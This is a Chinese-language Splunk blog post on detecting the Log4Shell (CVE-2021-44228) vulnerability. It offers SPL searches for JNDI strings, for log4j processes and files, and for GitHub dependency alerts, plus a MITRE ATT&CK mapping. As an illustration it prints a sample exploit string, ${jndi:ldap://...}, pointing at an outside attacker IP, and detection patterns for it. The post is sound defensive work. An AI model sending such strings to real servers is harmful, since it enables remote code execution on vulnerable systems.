HOME > 最新消息> 品牌新訊

Log4Shell──使用 Splunk 偵測 Log4j 2 RCE

2021/12/20

Splunk 目前正在檢視我們支援的產品所受到的影響,並評估補救和/或緩解的作法。您可以在《對 Apache Log4j 的 Splunk 安全建議》中瞭解更多資訊。
如果您只想瞭解如何偵測 Log4j 2 RCE,請跳至〈偵測〉一節。或者,請繼續閱讀,以便快速瞭解發生的事情、如何偵測以及 MITRE ATT&CK 的對應項目。

Log4j RCE 簡介




 
廣為採用的開放原始碼 Apache Log4j 日誌庫中的一個嚴重漏洞 (CVE-2021-44228) 對數千個應用程式以及利用該庫的第三方服務造成了威脅。概念驗證程式碼表明,攻擊者可以使用特殊字串插入 Log4j 記錄來利用 RCE (遠端程式碼執行) 漏洞。然後,攻擊者就可以從外部來源執行任意程式碼。Apache 軟體基金會最近針對該漏洞發布了一個緊急修補程式。受影響的組織應盡快升級,如果無法升級也應套用適當的緩解措施。 

須知
有很多架構、應用程式和工具使用 Log4j。事實上,根據 Ars Technica,Log4j 被廣泛使用於多個主流的架構中,例如 Apache Struts 2、Apache Solr、Apache Druid 和 Apache Flink。在許多情況下,系統管理員甚至可能不知道他們的環境中正在使用 Log4j。攻擊者只需要觸發一個包含惡意字串的日誌事件即可攻擊這個漏洞。話雖如此,如 LunaSec 的部落格貼文Apache Log4j 安全公告中所述,漏洞利用鏈仍需要滿足一些特定的條件才能成功。需要注意的是,掃描與進行中的漏洞利用是不同的。 

•Log4j 的版本必須 >= 2.0-beta9,且 <= 2.14.1
•攻擊者必須可以存取目標系統才能發送惡意裝載
•來自攻擊者的請求必須透過 Log4j 記錄

我們將在下一節詳細介紹這一點,但現在有大量主機正在掃描網際網路以找出可能存在漏洞的伺服器。 
一旦確定了易受攻擊的主機,就會有可用的修補和解決方法。所以我們並不是一籌莫展。

在 Splunk 中偵測 Log4j 2 RCE

目前,大型網路掃描正在進行中。掃描結果將會提供一堆可以新增到監視清單的 IP 地址。但是,我們知道攻擊者更改 IP 地址的頻率與我們換襯衫的頻率一樣高 (順便說一句,我每天都換),所以從長遠來看,掃描或許不是識別這種行為的最佳方法。
從好的方面來說,這個活動目前可以從使用者代理程式欄位看到。特別感謝 GreyNoise 提供這個資訊!

${jndi:ldap://45.155[.]205.233:12344/Basic/Command/Base64/U28gTG9uZywgYW5kIFRoYW5rcyBmb3IgQWxsIHRoZSBGaXNo}
 
(示意範例) 

這意味著我們可以光看信封而不是信裡的信件就可以確定是否有攻擊發生。在這種情況下,信封是 ${jndi:ldap://,我們還不需要破解 base64。
但又如同信封和信件般,ldap 並不是 ${jndi: 後面的唯一字串。除了 ldap,您可能還會看到 ldaps、rmi 或 dns。好消息是我們可以使用一些搜尋來找出這個活動。

顯然,若要瞭解正在執行的命令並確認它們是掃描還是漏洞利用,我們需要進一步分析編碼字串。但因為這是最新和突破性的狀況,我們不想模糊焦點,還是將重心放在 jndi 出現的所有位置。

入侵指標 (IOC)

需要注意的是,雖然被回報的大部分掃描行為,在使用者代理程式欄位中都出現了 ${jndi 字串,但其他地方也可以看到這個它。為了解決這個問題,我們先用搜尋初步找出惡意的使用者代理程式,然後再進行第二次更廣泛的搜尋,找出其他地方的可疑字串。

sourcetype=bro:http:json user_agent=${jndi:*}
| stats sparkline values(user_agent) count by src_ip, dest_ip, dest_port



 
我知道你會這麼想,「但是如果字串出現在 user_agent 之外的其他地方呢?」嗯,這種情況有點棘手。如果無法區隔出特定欄位,則需要執行如下的非結構化搜尋:
index=* ${jndi:*}

這是一個非常費力的搜尋,因為它是非結構化且含萬用字元,但它會很有幫助。如果您有其他搜尋條件可以限制搜尋,例如特定 IP 地址範圍或裝置分類,將有助於縮短此搜尋的時間。降低這個搜尋成本的另一種方法是利用我們的通用資訊模型 (CIM) 中的資料模型來加快速度。例如,http_user_agent 是 Web 資料模型中的一個欄位,可以使用 “tstats” 技巧進行搜尋,就像您將在下一節中看到的那樣。

請記住,偵測到活動並非意味著您已受到威脅。但是,它確實代表有人正在敲門並且可能想要進來。您需要針對看到此活動的系統進行額外檢查,以確定是否有違規或漏洞利用的情形。 

讓我們回到拆開信封後的編碼字串。一開始,我們就說過重點是信封而不是信件。嗯,是時候看看這封信了。在下面的範例中,我們有一個名為 “test” 的欄位,其中包含上面說到的字串。為了分析這個字串以及您可能在 Splunk 中發現的其他字串,我們可以安裝一個 App,用它來解碼所有符合搜尋條件的事件的 base64 編碼。這裡我們使用 CyberChef for Splunk,但任何 base64 解碼器都可以。在這個範例中,我們的攻擊者還算客氣,他們在 base64 命令之前加上字串 /Base64/,所以一開始我們的 rex 命令就先找到它。 

顯然,往後您可能需要修改 rex 命令,但這是一個很好的起點。透過使用 base64 解碼器,我們可以獲得如下的結果欄位,顯示包含 wget 和相關 IP 地址的 curl 陳述式。如果您願意,可以將這些 IP 地址列入您的監視清單。這些結果還有其他好處。
現在我們已經解碼出 base64 並提供了範例 (只是類似,因為不適合在部落格中公布用來掃描特定網站的字串)。下圖是解碼命令,但您複製和貼上到搜尋後會得到不同的結果,不過概念是一樣的。




 
| makeresults 
| eval test="${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/U28gTG9uZywgYW5kIFRoYW5rcyBmb3IgQWxsIHRoZSBGaXNo}"
| rex field=test "\/Base64\/(?\S+)}"
| table string
| cyberchef infield=string outfield=result operation=FromBase64


等等,我會在哪裡使用 Log4j?

如上所述,許多應用程式、架構和工具都使用了 Log4j。為了瞭解您暴露於此 RCE 漏洞的程度,我們可以從整個環境中的處理程序執行日誌找到 Log4j 活動的證據。如果您已經設定過它,我們還可以在名稱或路徑中使用 Log4j 找到檔案建立/修改的證據。因為 Log4j 的叫用往往很冗長,所以您或許能在檔案寫入或命令列執行中看到它。

這兩種搜尋肯定都是大範圍的,但由於 Log4j 本身被廣為使用,我們可以使用 Splunk 的強大功能在環境中快速搜尋以確定我們可能的暴露程度。
假設您正準備搜尋處理程序執行日誌 (因為我們差不多從卡特時期開始就一直告訴您要這樣做)。我們從 CrowdStrike 的朋友那裡獲得了一點靈感,他們今天稍早在 Reddit 發布了一個搜尋,其中包括檢視來自 Falcon 的處理程序執行日誌以尋找是否有 Log4j 存在。好吧,我們知道並非所有的客戶都有 Falcon,那麼我們如何製作一個類似的搜尋來處理 Splunk 中所有形式的處理程序執行日誌 (而不管來源為何)?

答案就在我們通用資訊模型中的端點資料模型,它會將處理程序執行細節正規化為 process 和 parent_process 等欄位。而且,如果您加速該資料模型 (您應該這樣做),那麼您可以非常快速地在整個環境中進行搜尋。所以像這樣的搜尋:



 
| tstats summariesonly=t values(Processes.parent_process) AS parent_process,values(Processes.process) AS process,latest(_time) AS latest,earliest(_time) AS earliest from datamodel=Endpoint.Processes where (Processes.parent_process="*log4j*" OR Processes.process="*log4j*") by host 
| eval _time=latest
| reltime 
| fields - _time
| convert ctime(latest), ctime(earliest)
| table host parent_process process reltime latest earliest

...將顯示在名稱或父處理程序名稱中的任何位置包含 “log4j” 的主機處理程序。 
如果您沒有填充或加速 Endpoint.Processes 資料模型,那麼這個動作將會很困難且緩慢,因此您必須調整您的搜尋。不過,您的端點解決方案會記錄處理程序執行,如果您仍在尋找端點偵測功能,Microsoft Sysmon 就是我們的好朋友,Microsoft 最近也發布了 Linux 版

這是一個原始事件搜尋,您可以使用它來根據 Sysmon 資料 (Linux 和 Windows) 尋找名稱中帶有 “log4j” 的所有處理程序或父處理程序。 



 
index=main (source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" OR source="Journald:Microsoft-Windows-Sysmon/Operational") EventCode=1 (CommandLine=*log4j* OR ParentCommandLine=*log4j*)
| table _time,host,CommandLine,ParentCommandLine

另一種偵測系統上是否存在 Log4j 的作法是利用檔案建立日誌,例如 Sysmon 中的 EventCode 11。這些類型的事件可新增到 Endpoint.Filesystem 資料模型中,然後使用 tstats 的一些小技巧,您甚至可以將檔案建立事件與處理程序資訊相關聯。以下搜尋是這種作法的一個起點,但是第二個 tstats 子句在大型環境中可能會回傳大量資料: 

| tstats summariesonly=t prestats=t count,values(Filesystem.file_path) AS filepath,values(Filesystem.file_name) latest(_time) AS latest,earliest(_time) AS earliest from datamodel=Endpoint.Filesystem where (Filesystem.file_path="*log4j*" OR Filesystem.file_name="*log4j*") by Filesystem.process_guid
| tstats summariesonly=t prestats=t append=t count,values(Processes.process) as process,values(Processes.process_id) values(host) latest(_time) AS latest,earliest(_time) AS earliest from datamodel=Endpoint.Processes by Processes.process_guid
| eval GUID = coalesce('Processes.process_guid','Filesystem.process_guid')
| eval _time=coalesce('Filesystem.latest','Processess.latest')
| convert ctime(_time)
| stats values(Processes.process) as process, values(Processes.process_id) as process_id values(host) as host, values(Filesystem.file_path) as path ,values(Filesystem.file_name) as file_name latest(_time) as latest_time by GUID
| convert ctime(latest_time)
| search process=* path=* file_name=*
| fields - GUID
 




在 Splunk 中使用 GitHub 資料尋找專案中的 Log4j

如果您是一名軟體開發人員並且在 GitHub 組織或企業中使用開放原始碼,您可以利用 GitHub 的安全功能來找出易受攻擊的項目,例如 Log4j。使用 GitHub Audit Log Monitoring Add-On for SplunkGitHub App for Splunk,一旦 GitHub 發現漏洞,Splunk 也能很容易地發現它們。您可以使用這個資料來觸發警示、識別需要修補的專案,或者只是將相關內容新增到 Splunk 中的其他資料。這是 Splunker Doug Erkkila 的一段影片,詳細介紹如何將 GitHub 審核日誌資料導入 Splunk。請注意,若要從 GitHub 獲取最完整的安全資料,您必須使用 Splunk HTTP 事件收集器來收集 WebHook 資料。您可以在此處找到 WebHook 資料的設定說明。 

以下是一個指出專案有問題的警示範例 (在本例中是 Apache Struts 的先前版本),其使用了易受攻擊的 log4j-api 版本。

sourcetype=github_json "alert.affected_package_name"="org.apache.logging.log4j:log4j-api"




 
Splunk Enterprise Security 和 ESCU

認識自己
雖然我們花了一些時間來解釋這種攻擊,並努力進行調查,但同樣重要的是基礎知識仍是不可或缺的。希望您透過對資產和身分識別架構進行的基本資產管理,可以讓您知道易受攻擊系統所在的位置。執行整合到 Splunk 的定期漏洞掃描將顯示哪些系統易受攻擊,可幫助您安排修補計畫的優先順序,並更妥善地聚焦在偵測的工作。
此漏洞被標識為 CVE-2021-44228 並且剛剛發布。但是,由於這個漏洞的潛在規模和影響範圍極大,各掃描器均已迅速將其新增到它們的檔案庫中。在這種情況下,識別和針對執行 log4j-core 檔案庫的系統和這個特定漏洞的掃描,將有助於聚焦在需要減緩的對象。




 
企業安全內容更新 (ESCU)
對於 ESCU 的使用者,我們的安全研究團隊將盡快發布新的 Splunk Analytic Story,其中包含針對此威脅的偵測。

Splunk 服務
我們的安全專家團隊是 Splunk Professional Services 團隊的一部分,可以幫助您實作我們在此處提到的操作。我們還提供更具針對性的產品,它們也可以幫助您提升安全狀態。 

適用於漏洞回應和準備的 Splunk 服務
這就是 Splunk 幫助您為安全事件做好準備以及如何使用我們的產品套件進行回應的全部內容。讓我們的專家來幫助您為安全事件做好準備:
•快速資料來源識別和開始處理
•如何合併和使用威脅情報
•包含搜尋和儀表板的預建內容,以進行更快的調查和修復
•戰術反應計畫
•桌上模擬演練以驗證您如何使用 Splunk 產品進行回應

MITRE ATT&CK
在檢視整個網際網路上的部落格文章後,我們將漏洞活動對應到 MITRE ATT&CK。隨著更多資訊出現,如果有更多的攻擊 ATT&CK TTP,我們將透過搜尋更新這份表格。
ATT&CK 技術 技術/子技術標題
T1190 利用面向公眾的應用程式
T1203 利用用戶端執行


結論:修補、修補、修補
我們知道 Log4j 2 RCE 是一個重大漏洞,客戶希望盡快修補並確定他們是否受到影響。如果您還沒有來得及修補 (我們都這樣過),希望這些搜尋能夠讓您更清楚地瞭解環境。如果它們運作得不夠好,請將它們視為“SplunkSpiration” (Splunk 靈感) 即可。一旦我們獲得更多資訊將隨時更新此篇貼文,並如我們之前討論的,請留意我們威脅研究團隊的更多偵測結果。這些偵測結果將透過企業安全內容更新發布。



作者 Ryan Kovar,2021 年 12 月 9 日
作者群:一如往常,Splunk 的安全性來自所有人的貢獻。感謝作者群和相關人員:Ryan Kovar、Shannon Davis、Marcus LaFerrera、John Stoner、James Brodsky、Dave Herrald、Audra Streetman、Johan Bjerke、Drew Church、Mick Baccio、Lily Lee、Tamara Chacon、Ryan Becwar。